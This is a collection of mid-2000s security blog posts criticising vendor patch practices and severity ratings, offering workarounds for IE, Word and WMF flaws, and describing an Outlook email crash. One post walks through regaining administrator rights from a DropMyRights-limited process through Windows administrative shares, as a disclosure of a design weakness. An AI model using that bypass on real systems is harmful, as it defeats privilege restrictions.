Dan Holden and ISS Should Pull Their Heads Out of the Sand

I’m no geography expert, but I didn’t think there were beaches in Atlanta. After reading Dan Holden’s post on ISS’ “Frequency X” blog, I am beginning to doubt this presumed truth. There MUST be beaches in Atlanta… I don’t see any other way that Holden and ISS could have their heads so deep in the sand.



SecuriTeam Interview: LMH

November has been informally designated the “Month of Kernel Bugs” in security circles. The Month of Kernel Bugs began on November 1, with the publication of a vulnerability in Apple’s AirPort drivers. SecuriTeam blogs did an interview with LMH, who hosts the Month of Kernel Bugs project (aka MoKB); the text of our interview is below (after the jump).



Internet Explorer VML Zero-Day Mitigation

Sunbelt’s recent Vector Markup Language (VML) vulnerability discovery has drawn some attention here on the blogs, and rightly so. The impact of the vulnerability is fairly significant and there are reports that malicious sites are exploiting the vulnerability to install malicious code of all sorts.

For those without perimeter/endpoint defenses to identify the exploit and those seeking additional assurances that the issue can be effectively blocked, I’d like to note some workarounds that I’ve found effective. The vulnerable component in this instance is vgx.dll. Microsoft has proposed three workarounds in Security Advisory 925568 that appear to be effective in blocking the attack, and another aimed at mitigating the attack.
Microsoft notes that reading e-mail in plain text is a mitigator against e-mail based attacks, but the attacks seen at this time are not e-mail based, to the best of my knowledge. You may disable access to vgx.dll by either un-registering it or blocking access with file system access control lists. Microsoft also suggests users of Windows XP SP2 disable binary and script behaviors within Internet Explorer. All of these workarounds are effective, and you should apply them if possible.

Some important guidance, however, is absent from the Microsoft advisory, and I’d like to raise it here. (more…)


Mitigating Newly-Reported Word Vulnerability

A new vulnerability has been uncovered in Microsoft Word that appears to permit the execution of arbitrary code when an unsuspecting victim opens a malicious Word document. The vulnerability is known to affect Office XP and Office 2003, but I would not rule out other versions being affected as well.

The vulnerability was first used in what appears to be a highly-targeted attack. As such, the number of compromises attributed to this vulnerability is low, and I’d expect that we’ll have at least a few days before that number climbs significantly. It is of note that the payloads of the known in-the-wild exploits require the user to be running Microsoft Word with the privileges of an administrative user. As such, organizations and individuals who follow best-practice and log on interactively as non-administrators are currently not at risk. Based on feedback, I should also note that you are at less risk from any exploit of this vulnerability if the vulnerable application is running without full privilege.

Windows XP users have a little-used weapon that they can use to blunt the effect of the in-the-wild malicious code targeting this vulnerability: software restriction policies. By using the “Basic User” SRP, users can launch Microsoft Word without the ability to write to certain registry and file system locations that the in-the-wild malware requires access to. This is a stop-gap measure based on the threat profile of the in-the-wild malware at this time and is only necessary if you’re still running interactively as an administrator. If you are, it should be a priority to change that if at all possible.

I’ve produced a simple registry script that sets a Software Restriction Policy that runs any instance of ‘winword.exe’ with the ‘Basic User’ policy. Once the registry script has been imported, the SRP can be rolled back (if desired) via the Security Policy snap-in.

The registry script is available here. It is PGP signed with my new (as of May 15th) RSA key. For reference, I have signed this new key with the (shorter, older) DSA key. However, the DSA key is deprecated and will be allowed to expire, due to the reliance of DSS on the weakened SHA-1 hash and the shorter lengths of DSA signing keys.

In addition to the standard disclaimer that you assume any and all risk associated with applying this change, I should also note that the effectiveness of this registry fix is entirely based on known characteristics of the payload, rather than the exploit itself. As such, it is possible that future variants of the in-the-wild exploits (which target the same underlying vulnerability) will eliminate the dependence on administrative privileges and thus, reduce the effectiveness of this workaround.


UPDATED: Misleading and Incomplete Information in MS06-015

UPDATE APRIL 21: In response to reports of compatibility problems with the new extension verification component (verclsid.exe) of the MS06-015 update, Microsoft plans to issue a revised version of MS06-015 on Tuesday, April 25th. The updated update will effectively whitelist four extension class IDs. These are associated with HP Share-to-Web and some NVIDIA software.

Microsoft’s original workaround, as provided by Mike Reavey and documented in the KB article, only addresses one of the two compatibility problems. If you have the problems described in Microsoft Knowledge Base Article 918165 after applying the update and the previous registry fix did not work for you, I’ve provided two registry scripts that may help alleviate these issues.

The registry scripts are based on information from the newly-revised MS06-015 as well as the aforementioned article. It is worth mentioning that these registry files have only been tested for correctness, as the population base affected seems to be fairly low. If you can, wait for Microsoft’s re-release of the MS06-015 patch on April 25th. If you have issues with the application or compatibility of either of these, let me know, but by using them, you do so at your own risk.

The download locations are:

My PGP key is available from the MIT key server (pgp.mit.edu). You may retrieve it via the web.

You are encouraged to back up the relevant hive of the registry (or the entire registry, if possible) before making these changes. This will minimize downtime in the event of an unforeseen compatibility problem. You may find more information on how to backup the registry in Microsoft Knowledge Base articles 322756 (Windows XP and Windows Server 2003) and 322755 (Windows 2000).

Microsoft’s Patch Tuesday has struck again. It seems, that in order to enjoy Microsoft’s recent patch days, one must really appreciate the oh-so-sweet smell of downplay.

Today was no exception. Today’s downplay of the month goes to MS06-015. That bulletin announced a patch which supposedly plugged a single “Windows Shell Vulnerability” involving the shell’s handling of COM objects. It states, rather paradoxically:

When this security bulletin was issued, had this vulnerability been publicly disclosed?
No. Microsoft received information about this vulnerability through responsible disclosure.


Note The update for this vulnerability also addresses a publicly disclosed variation that has been assigned Common Vulnerability and Exposure number CVE-2004-2289.

According to a VIM post by Steve Christey, this vulnerability has been known since May 2004. So, let me get this straight. The vulnerability that is documented was privately-reported, but the “variation” that was also patched has been publicly known for 700+ days. In that case, the issue that is truly the “variation” is the issue that was discovered and reported privately after the public disclosure. At least, that’s how I hope it went down. Regardless, the information as published is extremely misleading and Microsoft’s choice not to document a publicly-reported vulnerability is not one that will be for the benefit of its customers’ security.

More interesting, is this convenient phraseology in MS06-015. The update includes two “changes to functionality”, one of which is below:

This security update includes a Defense in Depth change which ensures that prompting occurs consistently in Internet zone drag and drop scenarios.

Oh, and do tell us, Microsoft, what threat is this meant to address, exactly? The implicit statement the bulletin makes is rather clear: prompting in internet zone drag and drop scenarios was previously inconsistent. That’s not exactly rocket-science to anybody, and in fact, it sounds suspiciously like an attempt to plug the vulnerability I reported publicly in February, which is CVE-2005-3240. Now, without testing that hypothesis, I will refrain from passing immediate judgment or speculating on the likelihood of that possibility. The bottom line is this: we just don’t know.

Microsoft needs to be much more transparent about the real nature of the threats customers are facing. Microsoft doesn’t patch phantom vulnerabilities that don’t exist or unrealistic science-fiction attack scenarios. Microsoft’s under-documentation of these vulnerabilities leaves those charged with deploying patches in a tough spot. You simply don’t know what the patches are for. It’s virtually impossible to make a determination about a deployment timeframe if not deploying a patch has the potential to place you at an additional, unknown risk. As a result, administrators may deploy patches unnecessarily, erring on the side of caution (and risking compatibility problems in the process), or they may choose not to deploy based on incomplete information. Individuals making these kinds of decisions deserve better information.

Everytime Microsoft seems to be getting the security pitch right, one gets thrown in the dirt. Microsoft needs a new ball. MS06-015 should be revised or completely rewritten, with the objective of providing sensible, coherent and complete information to customers.


Message-Rendering Vulnerabilities in E-mail Readers

Richard Smith posted the following in a message to funsec this morning:

I’ve got some sort of bad email message in my POP3 inbox which Outlook 2003 is refusing to download. I’m not sure what the problem is with the message, but Outlook is complaining that it doesn’t have enough memory to process the message. See the attached screen shot.

However, I am now stuck because I can no longer read email from this account. I suspect the message is a spam message, so there are maybe other people in the same boat.

For the specific error message, see the screenshot from Richard’s report.

I have a copy of the original message, and can attest to the fact that it is severely malformed. The interesting part, however, is that the malformation does not appear to be what is to blame in this instance.

The recipients list on this particular e-mail contains hundreds of different e-mail aliases, and that appears to be what is causing problems. Outlook, in particular, appears to exhaust a limited-size heap when faced with such an e-mail message. The impact of that upon Outlook is quite severe, because messages aren’t removed from mail servers unless they are successfully written to the Outlook Inbox. This process fails when such a message is received due to the heap-exhaustion problem, and thus, the e-mail message remains on the server indefinitely. Outlook proceeds to re-download the message and fail to process it until it is deleted from the mail server where the attacked mailbox is hosted by some other means.

I’ve tried manual importation of local copies of the message into several mail readers and only one (Outlook Express) handled this in a semi-correct fashion unless the recipients list had been significantly shortened. The others all failed the import operation, but otherwise respond normally. It remains to be seen whether these clients can be caused to fail in a similar fashion to Outlook. At this point in time, I recommend filtering e-mail with exceedingly large recipient lists in the To or CC fields (say, 100 or more) and asking users to send such e-mails to large groups via blind carbon copy.

As I conduct more aggressive tests on other mail readers, I’ll post my results here.


Oracle Secure Search: The World’s Greatest Paradox?

A colleague of mine once used a term that seemed very fitting to a particular security process. He termed it what it was, in my opinion: a disgrace. That’s hard to say seriously without immediately thinking of the company that has, in the security space, re-defined what it means to be a disgrace: Oracle.

Further, Larry Ellison has also provided us today with a re-definition of what it means to be in denial. Speaking of Oracle’s as-yet-unfinished Secure Enterprise Search product, Ellison says:

We have the security problem solved. That’s what we’re good at, and that’s the hard part of the problem.

I’ll allow you some time to recover. I sure needed it.

Newsflash, Larry: repeating it ten thousand times doesn’t make it true, and it doesn’t bode well for you that you appear to believe your customers are stupid. You have security solved about as well as most of your industry did five years ago.

And by the way… what planet/drug are you on? It seems like a nice, carefree place. You’ll have to show me around sometime.

If Oracle is good at security, I’d really hate to see something they’re not good at. Oracle’s “security process” today is the unquestioned laughing-stock of the entire software industry, and is a justification of lousy practices elsewhere. Whenever I ask tough questions about timelines and other continual problems at other shops, I hear: “Hey, don’t look at us! We could be like… Oracle.”

Oracle’s developers write and ship the buggiest software in the history of the human race and are, apparently, often at a loss for how to even fix their inenumerable screw-ups. This is evidenced by delays of hundreds of days (several years in the worst cases) , only to find fixes of such high standards of quality that they cause huge breakages in their attempt to fix hundreds of different flaws. The sad thing? These broken patches are probably the only good ones Oracle ever developed. We’ve seen so many reports of Oracle’s patches failing to fix the targeted vulnerability that such reports are taken as ordinary. If you can’t secure it, breaking it so badly that the vulnerable code is no longer functional is the cheap way out.

Further, now we’re supposed to believe that Oracle has security “solved” and that its customers are filled with joy by monstrous CPUs with hundreds (or thousands) of vulnerability fixes, with only about a 10% chance (or less) that the fix will actually work?

More perplexing is one more significant question: people are actually buying this?

It’s amazing that Oracle’s “Unbreakable Linux” campaign has made such a business of crap-peddling. I really don’t understand their success. After all, if any other commercial software vendor were to claim its software was unbreakable (especially after Oracle’s mockery of the term) it would likely draw a lot of gut-busting laughter and be out of business shortly thereafter. Somehow, Oracle has survived with only one of the two.

With as much success as Larry’s had in software, I’d love to see him move this unbreakable Linux campaign to stand-up comedy. I’m sure he’d have some wicked ratings.


Windows Media Exploit: Lesson Learned Yet?

we’ve been hearing a lot about software distributors downplaying vulnerabilities in their code. it seems like a familiar tune. sunshine’s post hits on it. i talked about it two weeks ago after mozilla managed to (yet again) severely downplay some trivially-exploitable vulnerabilities fixed by recent patches. judging from this week’s windows media player fiasco, the lesson hasn’t been learned.

accurate assessment is important for two reasons:

1) adequate coverage

if those responsible for deploying fixes are led to believe that vulnerabilities are of less risk than is actually present, this means that systems that need to be protected, aren’t.

exhibit one: the microsoft internet explorer dom race condition vulnerability. microsoft was informed of the potential issue more than six months before it was proven to be exploitable. because of a bad risk assessment on microsoft’s part, most of its user base was tactically naked when code appeared demonstrating the exploitability of the issue.

2) prioritization

if issues that aren’t of severe risk are rated as such, the risk assessment system being used implictly has less merit. over-hyping can force affected customers to look for other sources of information about risk (which may not always be coherent) or to do costly risk assessment of their own before deploying fixes to evaluate potential damage to compatibility in the face of a security issue of uncertain risk. of course, that also increases the possibility that the customer will make the wrong choice.

accurate risk assessment (particularly from vendors) clearly is of importance to creating conditions that lead to a secure user base. it should be obvious, then, why researchers as a community (as a result of a predisposition toward that goal) are generally willing to take extreme measures to ensure that an accurate risk assessment is achieved. the rest of this post is an example of what not to do if you get an assessment wrong.

during an exchange with microsoft’s security response center about the recent windows media plug-in vulnerability (ms06-006), i was very sharply critical (no pun intended) of the weak ‘important’ rating given to this vulnerability. i pointed out several facts:

* firefox installs windows media support implicitly
* windows media is installed on almost all windows pcs
* the vulnerability could be triggered simply by viewing a web page in an alternate browser with the plug-in enabled
* a vulnerability with a very similar trigger that was exploitable from ie was rated ‘critical’

the answer i received was that were a scenario developed where a component that was “installed by default” could be exploited without anything more than a click for interaction, the vulnerability would probably be upgraded to a critical severity. the only sense in which the vulnerable code is not a “default install” is the fact that alternative browsers aren’t present on most fresh installs of windows. nor are office, frontpage, iis, or any other of a myriad of components… and that doesn’t preclude vulnerabilities in them from receiving ‘critical’ ratings.

i pointed to the above and offered some clarification. essentially, i see no reason this vulnerability shouldn’t be rated ‘critical’. i’m then told that, had the msrc believed it possible, such a scenario would clearly justify a ‘critical’ rating.

so… the exploit in front of me is impossible?

that was the last straw. i had a few details to work out, still. my exploit hadn’t really been fine-tuned and so was a bit unstable in the “real world” environment. msrc, however, had just given me the impetus to make it stable. in my effort to bring about a bit of sanity in the impact assessment, i released proof-of-concept code that demonstrated exactly how easy it is to exploit an alternative browser on a system without ms06-006 applied.

oddly enough, microsoft has left its rating alone. and not for good reason. now, we have two exploits available and users are still being kept in the dark about how serious this vulnerability really is. this issue is a critical risk and has been from day one. microsoft should demonstrate to its user base that it understands this and give the vulnerability the rating it deserves. at least, if users must be exposed to threat, they should have accurate information about what that threat really is. not using your company’s browser is not a reason to be kept in the dark.


Mozilla Backsliding on Security?

Before Firefox’s numbers were sitting at around 10%, there was the question that spawned its popularity: what can we do about Internet Explorer? It was many months after that before IE emerged from a torrent of unpatched exploits and most of the credit for that belongs to (surprise) a dog-slow patch process in Redmond.

While it’s beyond naive to make the unqualified assertion that a product is secure (or, unbreakable, if you’re Larry Ellison), the marketing behind Firefox was really clever. The strategy was, essentially, blame it all on ActiveX. I, like most, find the notion of mixing web and system code (as MS has done with ActiveX) to be a terrible idea. It ends up producing security holes because of code that was never meant to touch anything remotely connected to the web. ActiveX is also a persistent reason why users have to run as administrators for simple web plugins like Flash Player to install. ActiveX alone, however, is not the reason that IE is insecure.

Reasons for the insecurity of IE6 include the excess of active content permitted to ‘local’ material (which XP SP2 band-aids fairly well), a poorly-done same-origin enforcement model, URL parsing that is prone to hackish manipulations and a renderer that is generally too prone to buffer overruns. Firefox has its own bag of architectural deficiencies, though: the software installation feature is protected only by a security model about as weak as IE’s ‘zones’ and the internal APIs for managing all sorts of different data types are prone to overflows and memory revelation exploits. Firefox’s only real design advantage lies in its disassociation from the operating system it runs on. Though it’s a substantial advantage because it means Firefox doesn’t require system-level software installations to support enhanced content, most Windows users (who run as administrators for everyday use or are on locked-down corporate desktops) won’t notice.

The major advantage that Firefox has (I’ve written about it before) is in being far more nimble than its monopolistic opponent. The nine-day performance that Redmond put on for us with the WMF patch (a record for Microsoft) doesn’t seem all that amazing when fixes are made available for competing open-source products in that timeframe any time there’s a zero-day issue. Microsoft also maintains the idealistic fiction that prioritization of bug fixes can extend to taking eternities to patch issues that seem minor at the time. As we saw on DOM, it gets them burned from time to time.

Mozilla is at a critical juncture, now. The challenge it faces is continuing to promote its technology in a climate where an onslaught of zero-day exploits for Internet Explorer has tamed and a climate where Firefox faces just as much scrutiny as the competition. The fear-based marketing that drove Firefox to popularity is not anywhere near as effective now as then.

Firefox users are getting information poured on them from all directions that says that there are more vulnerabilities in Firefox and that the vulnerabilities that are there are qualitatively more serious. Mozilla’s reaction appears to be downgrading the severity of questionably-exploitable bugs. This strategy of downplay is extremely disappointing to me. Over the short term, it’s a cheap-shot way to get the statistical edge (perhaps even the playing field is more accurate), but over the long-term, it seriously undercuts the idea that Mozilla is “serious about security” (to quote its security page) any more than its well-endowed competitor.

Take, for instance, the release (whatever happened to revision numbers?) on Wednesday. Eight different advisories (comparable to the different vulnerabilities listed in Microsoft bulletins) are shown as fixed. Until you see that one of them (MFSA-2006-01) actually deals with two issues (one of which is an apparent regression introduced since the 1.5 branch-point). Also of note that is that none of these issues were fixed in Thunderbird or the 1.0.x series of Firefox. I also was unable to track down any information that indicates these issues were plugged in the Mozilla Suite, which includes both browsing and mail-reading components. The disorganization has its parallels (Microsoft Service Pack releases, anyone?) but it is discouraging. Better response on security is one of the main reasons I prefer Firefox.

More disconcerting is that only one of the eight advisories receives a rating of “critical” (MFSA-2006-05) and none were given “high” risk ratings. This in spite of the fact that four of these advisories (MFSA-2006-06, MFSA-2006-04, MFSA-2006-02 and MFSA-2006-01) deal with potentially-exploitable vulnerabilities that may enable arbitrary code execution. Those issues received a relatively soft “moderate” rating. While I recognize that there’s a desire to avoid liberal use of the “critical” rating (for statistical and practical reasons), low-interaction, potentially-exploitable scenarios like these seem more than deserving of a “high” risk assessment.

I blame excessive and unwarranted bad press for some of that, but that’s not the only place the blame lies. The Mozilla Foundation needs to stick it to Microsoft on the issues where the former has a real advantage. Firefox should be marketed as what it is: a browser that won’t force you to risk compromising your system to install simple browsing-enhancers and a browser that is backed by a team of developers who aren’t hobbled by bureaucracy or afraid to change code in the name of user security. Offering less is what Microsoft got away with for years (and what got them scorched in the media), and it’s exactly what most of the Firefox user base got away from.

Mozilla should ‘fess up to vulnerabilities in its code and practice the one thing where it consistently has Microsoft beat: fixing them. Meanwhile, an honest assessment of the severity of bugs would help sustain the support of users like me who see Firefox’s practical advantage in the security realm as one of its most important assets.


Knowing When To Run: Cutting Loose From The Little Blue E

So I committed a slight act of title thievery from Scott Granneman’s book (yes, that’s right, book) of reasons and methods to avoid Internet Explorer. The spyware plagues that strike IE are oft-cited by the crowd of Windows opponents (most of whom are zealots) as reasons to abandon IE and Windows altogether and why no sane person should ever use them. While I generally agree with their view, as far as abandoning IE is concerned, I fault the logic that takes them to that view as the reason why it isn’t better-understood.

The biggest reason I will never-again use Internet Explorer has nothing to do with the level of security of the product. As we’re seeing with the spate of reported vulnerabilities in Firefox, it’s not a cure-all, either, and might be just as susceptible to security problems as IE. However, it has an advantage that IE, treading its current path, will never capture.

Microsoft made Internet Explorer significantly tougher (though not impossible) to attack with Windows XP Service Pack 2, and promises to do so again with Windows Vista. However strong Microsoft’s technical investments are (and disregarding my loathing of bundling browser-related security into an OS update), they focus on half the battle and therefore will more-than-likely not produce a substantial change in the security climate for the browser.

If you look at the numbers of vulnerabilities, and weigh the risks associated with vulnerabilities in both Firefox and Internet Explorer (making this an artificial dilemma for a moment — there are other choices, I know), there isn’t much difference. The patterns change slightly, but the two products end up offering roughly equivalent security on an actual product vulnerability scale.

So why, then, would anyone be so adamant in choosing one product (or any product) over Internet Explorer? One word: risk. Microsoft has reduced the number of vulnerabilities in IE some by code review, and has reduced the damage potential and attack surface via various security additions, particularly with XP Service Pack 2. However, a vulnerability in Internet Explorer that is of identical severity to one in Firefox (or, really, almost any other browser) is a much greater risk in a practical sense.

The only reason this is true: the QA processes at Microsoft are drastically different from its competitors. Bruce Schneier’s blog post, nicely-titled “Internet Explorer Sucks”, led me to an interesting study of practical risk in several browsers in 2004. The studied variance was the number of days a browser had a known, un-fixed security hole. IE’s total? 98 percent. IE escaped having a known-unpatched vulnerability for a whole seven days in 2004. The percentages for its competitors are in the teens, with Firefox at 15% and Opera at 17%.

I’ve been saying it for quite some time now: incident response is the Achilles heel of Internet Explorer’s security record. I was beginning to think that perhaps my view of the situation was colored by personal knowledge of months-old security flaws in the product. Instead, this study shows that the perceived security problems in IE are very much real. One of two things is to blame for Internet Explorer’s lax security:

  1. Code that is so crappy vulnerabilities are constantly being uncovered
  2. Vulnerabilities that are publicly known take much longer to get patched

I don’t believe that the code in IE is significantly worse than what makes up most other browsers (not to say that’s always been my opinion, or that IE is any better than its competitors today), so I believe the second explanation is the likely cause of this outcome. Microsoft is losing its security battle because it doesn’t understand practical security. This battle has really been lost on two fronts.

  • TimelinessAll the secure design in the world doesn’t do you a bit of good if the one vulnerability that most of the world knows about remains unpatched for months-on-end. Microsoft has been particularly slow in getting out Internet Explorer fixes over the years, with this week’s Font Embedding Buffer Overrun Fix (160+ days-to-patch) being no exception.
  • ApproachMicrosoft’s “fix-it-if-it-owns-them” approach to handling security vulnerabilities has drawn a considerable amount of well-earned negative publicity. Users were irate that Microsoft passed up a chance to close the trivially-exploitable DOM race condition vulnerability, dismissing it as a mere crash for almost six months. What Microsoft doesn’t seem to understand is that a defect is a defect is a defect, and the mere existence of defects can create situations that are unnecessarily hazardous to the security of systems. One of them is not-at-all technical, and is purely linked to when investigators miss exploitable holes.

Too many people are faulting Microsoft’s assessment processes for the DOM screw-up, under the false assumption that it is (and will be) an isolated occurrence. The reality is that the reliance on an assessment process is what is screwed up. The “if it ain’t burning, fix it next year” approach that Microsoft is famous for is the only reason why the DOM bug was allowed to turn into an unpatched, exploitable hole. And it won’t be the only one. Microsoft’s maintenance releases are too sporadic and too large in deployment cost to be used as an effective vehicle for distributing fixes for security issues. Yet, the company continues to rely on this methodology for fixing issues it arbitrarily deems to be unworthy of a bulletin release. With more WMF issues surfacing this week, I hope they can get away with it this time.

Regardless, this “wait and see, hope and pray” approach, particularly in combination with an already dog-slow update process, contributes directly to the security problems that Microsoft’s products (and Internet Explorer in particular) are experiencing. It is that element of managed-insecurity that is unique to Microsoft, and that is the reason why Internet Explorer should be abandoned like the burning ship that it is.


The Big Bad Empire: Putting Old Code to Bed

There’s been a lot of FUD circulated about the WMF vulnerability. Now that this issue is beginning to quiet down and we have patches available for most users, I truly hope that the exaggerated (and in some cases, down-right false) nature of some of the statements made about the bug comes to light. Apparently, though, the Microsoft heel-nipping frenzy that is going on in the community and in the media isn’t going to quiet down just yet.

What now, you ask? Predictably, Microsoft declined to offer free patches for users of its Windows 98 and Windows Millennium Edition operating systems. The vulnerability is not exploitable by-default on these systems and requires a level of user-interaction comparable to that required to infect a system with an e-mail worm even after the defaults are altered (by the installation of custom software, no less). Users still have to click, and choose “Run”, or double-click on an e-mail attachment. So, Microsoft handed the flaw a non-critical rating, and therefore, users of those operating systems won’t be receiving a patch.

I have no problem with what Microsoft did. Looking at the full details of the vulnerability and its (non-)exploitability on Windows 98 and Windows Millennium, their choice was made based upon extremely solid technical grounds. Some organizations, though (most notably the infamous Gibson Research Corporation) have taken it upon themselves to “protect their users” from the “devastating, big bad bug” Microsoft has so egregiously left its users exposed to, they say.

But let’s not pull punches. It’s time to face the facts. Windows 98 and Windows Me were designed for a market that is not today’s market. Plain and simple. Leaving a single-user system exposed to the internet is exponentially more dangerous than it was in 1998 or 2000, and is generally a bad idea. The demands of the system market have changed, and Microsoft’s release of Windows XP was a first step toward satisfying those demands. Windows XP Service Pack 2 was further evidence of the demand for security in the desktop market.

But being three or four years out of cycle isn’t enough for some people. Unable to see the benefits of upgrading to a system that is at least moderately capable of handling today’s threat landscape (which Windows 98 and Windows Me are not, as even Microsoft will tell you), they want to continue using their old product indefinitely. They don’t want to continue to be a paying customer of Microsoft and actually buy a new OS for its vastly superior features. Further, they don’t want to be inconvenienced by having to take mitigation measures to protect their aging assets. They expect to remain plugged in and chugging along, and they expect someone else to make up for the deficiencies in the design of that code.

Realizing the scope of continued dependence on Windows 98 and Windows Millennium, Microsoft extended critical security update support with the goal of preserving the relative security of moderately-protected single-use systems running those OSes. It was so that businesses still running atrocities like 16-bit call-center applications could continue running them for some time until competing or upgraded software emerged.

Some vocal but extraordinarily ignorant home users, though, were empowered by Microsoft’s concession. They’re now making the nonsensical claim that they deserve to get every patch for every vulnerability known so-long as their system runs, and they deserve to get it for free. Empowered by equally-ignorant and still-more-obnoxious spokespeople, these groups are prepared to threaten the entire internet rather than upgrade. All this because they care too much about their security to buy a new product from the big bad meanie who decided to quit giving them the all-important lifeline of free patches.

In case you haven’t caught it by now, this line is complete hogwash. If you don’t care enough to upgrade your system along a more-than-reasonable maintenance timeframe (5 years+ in the case of Windows Me, 8+ in the case of Windows 98), you’re not a very valuable customer, and you certainly are none too concerned about having cutting-edge security. There may be other drivers (compatibility, for instance), but security is clearly in the back seat. So don’t complain to me, Microsoft, or anyone else that your security is affected severely by you not receiving a patch for your dinosa… er, operating system for a vulnerability that does not affect a default install. Surely, you can at least choose a complaint that would draw a little concern from me?

This may sound harsh, but I am one of scores in my business who is completely tired of dealing with Windows 98 and Windows Me systems that simply cannot be secured on the level of newer technologies, particularly for everyday use. Even more frustrating are the people who use these obsolete relics, as most of them just don’t get security. It’s time for users of these old systems who suddenly find security so valuable to get with the program. Upgrade, buy support, change OSes, or quit complaining. Microsoft owes you nothing until you get your own priorities straight.

As for my take on Microsoft’s decision to suspend hotfix support on an ambitious schedule, I’m quite happy. At last, it will be incentive for these users to upgrade. I, personally, having long ago upgraded systems, find it unfortunate that the dog pack otherwise known as legacy users still nips at Microsoft’s heels, and prevents the company from moving forward into solutions for the security issues it faces. This is especially true when it’s obvious that security is of, at best, minor importance to these users. When June 30, 2006 rolls around, I will be very happy. Maybe then we’ll stop hearing users gripe about why Microsoft patches one-and-not-the-other (without any knowledge of the bugs’ details, mind you).

I’d love to see Microsoft send a clear message about the direction of its business by suspending support for Windows 98 and Windows Millennium tomorrow. But I won’t get my wish. So June 30 is on my calendar as the day… Microsoft finally puts these disasters of an OS to bed.


Digital Mind-Reading: How NOT To Handle Reduced-Privilege Environments

Current approaches to reducing privilege in the desktop world take the technically wrong-headed approach of creating user accounts with huge levels of privilege, and then simultaneously using these accounts to run tasks with limited privilege. The line isn’t at all clear. This effectively forces your computer to become a mind-reader everytime you log on. Suffice it to say, the accuracy is none too impressive…

What did impress me was reading about Michael Howard’s DropMyRights tool for Windows XP. After I put the tool to the test, however, my enthusiasm fell considerably. Howard’s DropMyRights tool suffers from one unavoidable issue: an OS that was never meant to be used in the fashion Howard intended.

In all fairness, Michael Howard is no fool. As a Microsoft Security PM, Howard has been one of the most outspoken voices on secure coding for the Windows platform. He still recommends (and in no uncertain terms) the tried-and-true (however painful) advice of running as a limited user. I, for one, am following it. I was more interested in the seemingly bizarre premise of Howard’s tool: the ability to reduce the privileges of arbitrary applications from an administrative context to a limited user context.

I also found related tools, such as the RunAsAdmin project, which appear to be a first effort of sorts at implementing the type of protection offered by the User Account Protection (UAP) feature of the forthcoming Windows Vista. The RunAsAdmin tool is a “shim” around the infamous explorer.exe that causes the shell to be run with Normal User (or less) privileges, even when the user who logs on is an Administrator or Power User. Such powerful users need to use a taskbar icon to run fully-privileged tasks.

After reviewing and deploying both tools, I attempted certain actions that would be permissible for an administrator, but not a normal user. These include privilege uses, registry alterations, and file system modifications. All were denied as expected. It would appear on first-glance that I had indeed managed to surrender all of my extra access and privileges, and was no longer a danger to my system. It would also appear that the project team for RunAsAdmin has given us an eerie glimpse of a sort of “unpolished UAP”. If that is the case, we can only hope that Vista’s final implementation isn’t as dangerous to security.

Why the sudden change of tune, you ask? As I marveled at this unique paradox (an unprivileged privileged user), a thought occurred to me:

“How does such a user authenticate themselves to other systems or services in such a limited way?”

Armed with little more than excess free time, I set to work on the question at hand. It didn’t take me very long to figure out my answer.

I had three theories about how this process could take place, or not take place:

1) Any application run as a user with this kind of arbitrary limitation loses the ability to automatically gain access to such services, and is forced to either:

a) use a null session
b) prompt the user for legitimate credentials

2) Any application run as a user that has been limited will pass on its full token context (as opposed to purely its logon credentials), and thus the full extent of its limits, to the remote service.

3) Any application run as a user that has been limited simply uses the original username and password of that user to any services requesting authentication.

Can you guess which one actually happens? Here’s a hint: why am I writing this article?

You guessed it… it’s #3. If a process run by me submits a request to a remote process to do a task on my behalf, it uses my username and password to authenticate to that process, and that task then inherits the original, unchecked, full power of my account… whether the original requestor is limited or otherwise.

To see for yourself, use Howard’s “DropMyRights” tool from an administrative account to spawn a process like Internet Explorer, that has easy access to files. Go to your system root directory (C:\WINDOWS, usually), and attempt to move, delete, etc., some system file there. You’ll be denied.

Now, access the same directory via the network redirector, using Windows XP’s built-in, immutable administrative shares:


Move a file from that directory into some subdirectory of it, and then watch the file disappear. If you moved a system file, a refresh will even show you that Windows File Protection (WFP) has restored it to its original location. Congratulations, you’re authenticated to your own system (silently, no less) as a full administrator from a limited process.

Had malware done the same thing, it wouldn’t present you a pretty graphical shell, and you can bet it would do far more damage than moving a file or two out of your install directory.

This disaster of a privilege-limitation attempt illustrates just how wrong-headed the entire design is. It’s wrong on two points.

First, you never start with excess power and then try to rid yourself of it. You always build up power as you need it. To do it the other way around is to invite laziness and error, and expose your entire network to more danger.

Second, people forget that what is signified by a username/password combination is an authority, not an identity. People try to make accounts serve as identities, when they are nowhere close. The strength of the identity is directly proportional to both the strength and the secrecy of the password. If either is compromised (and in a lot of cases, one of the two is severely so), identity is worthless. Further, even the strongest, most well-guarded passwords provide only a questionable level of identity verification.

Regardless of how vulnerable the identifying intent behind passwords is, though, your use of a username and password is a claim to the authority to use any rights tied to the account you’re accessing. In the case of an administrator, that’s essentially the right to destroy your PC if you so choose. Attempting to limit rights in this context is roughly equivalent to giving the applications you run this excessive amount of power and then trying to prevent them from using the powers you’ve been afforded.

I suspect that this is why you won’t find the three privilege-limiting software restriction policy options (which are used by Howard’s tool) listed in XP’s Local Security Policy snap-in:

  • Normal User
  • Constrained
  • Untrusted

Instead, all that’s available to you is “Unrestricted” and “Disallowed”. It’s no wonder, now… why that is. The design is so fundamentally flawed as to make its entire premise of securing your system utterly false. When the same set of credentials that made you a serf can make you a god, you force your computers to become mind readers. Odds are, they’ll get it wrong. That’s bad news for your security.

Will we see the same thing in Vista? Who’s to say. But, unless Microsoft delivers on the redesign it promises, there’s a good chance that running with privilege, protected or otherwise, will be just as dangerous as it always has been.


Interview: Ilfak Guilfanov

seeking to put some of the confusion about the recent windows metafile vulnerability to rest, i interviewed one of the most reliable sources of information on the bug: ilfak guilfanov. in addition to discussing the temporary patch he authored, ilfak offers valuable guidance and accurate information on a more general level for those dealing with this vulnerability.

tell us a little about yourself so that the audience knows who you are.

i’m the author of the ida pro tool, which is used by security specialists to analyze software binaries. ida pro is the biggest program i wrote, but there are also other programs (photorescue, for example).

now let’s discuss some of the details of the windows metafile vulnerability. there has been a lot of conflicting information about the details of the flaw. could you just describe the vulnerability for us so that people understand what the issue is?

yes, there is some confusion about the vulnerability. to speak simply, it is possible to get infected just by browsing the internet.

a specially-crafted wmf file can take full control of your computer. in fact, a wmf file is not an ordinary graphic file. it looks more like a program rather than a data file, because it consists of a sequence of commands for windows.

most are commands like ‘draw a blue line’, ‘fill a rectangle with red’, and so on.

there is one very powerful command code in wmf files. this command code means ‘if something wrong happens, do the following: …’. so the creator of the wmf file can make your computer do anything he/she wants by using this command code and deliberately creating an error condition afterward.

